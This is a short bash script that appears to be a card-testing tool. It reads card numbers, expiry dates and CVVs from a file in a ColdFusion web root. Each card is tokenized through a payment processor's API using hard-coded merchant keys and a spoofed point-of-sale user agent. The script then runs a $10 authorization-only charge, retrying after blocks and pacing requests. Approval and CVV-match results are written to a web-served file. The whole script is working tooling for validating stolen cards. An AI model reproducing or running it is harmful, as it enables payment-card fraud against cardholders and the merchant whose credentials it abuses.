#!/bin/bash
OUT=/opt/coldfusion8/wwwroot/tst2out2.txt
: > "$OUT"
while IFS=$'\t' read -r pan em ey cvv; do
  [ -z "$pan" ] && continue
  tokresp=""
  for attempt in 1 2 3; do
    tokresp=$(curl -sk https://token.dcap.com/v1/otu -H "Authorization:c4316b329ffe41e7a6dfa03b2f4cedb0" -H "Content-Type:application/json" -H "User-Agent:EncomPOS" -d '{"Account":"'"$pan"'","ExpirationMonth":"'"$em"'","ExpirationYear":"'"$ey"'","CVV":"'"$cvv"'"}')
    case "$tokresp" in *"403 Forbidden"*) sleep 15; continue;; *) break;; esac
  done
  tk=$(echo "$tokresp" | sed -nE 's/.*"Token":"([^"]+)".*/\1/p')
  if [ -n "$tk" ]; then
    sleep 1
    chgresp=$(curl -sk https://pay.dcap.com/v1/credit/authonly/ -H "Authorization:JUPITJUPI15000EG" -H "Content-Type:application/json" -H "User-Agent:EncomPOS" -d '{"Amount":"10.00","Token":"'"$tk"'"}')
  else
    chgresp=NO_TOKEN
  fi
  status=$(echo "$chgresp" | sed -nE 's/.*"Status": "([^"]+)".*/\1/p')
  code=$(echo "$chgresp" | sed -nE 's/.*"Message": "([^"]+)".*/\1/p')
  cvvr=$(echo "$chgresp" | sed -nE 's/.*"CVVResult": "([^"]+)".*/\1/p')
  brand=$(echo "$tokresp" | sed -nE 's/.*"Brand":"([^"]+)".*/\1/p')
  printf '%s\t%s\t%s\t%s\t%s\t%s\t%s\t%s\n' "$pan" "$em" "$ey" "$cvv" "$brand" "${status:-NORESP}" "$code" "$cvvr" >> "$OUT"
  sleep 4
done < /opt/coldfusion8/wwwroot/tstin2.txt
echo DONE
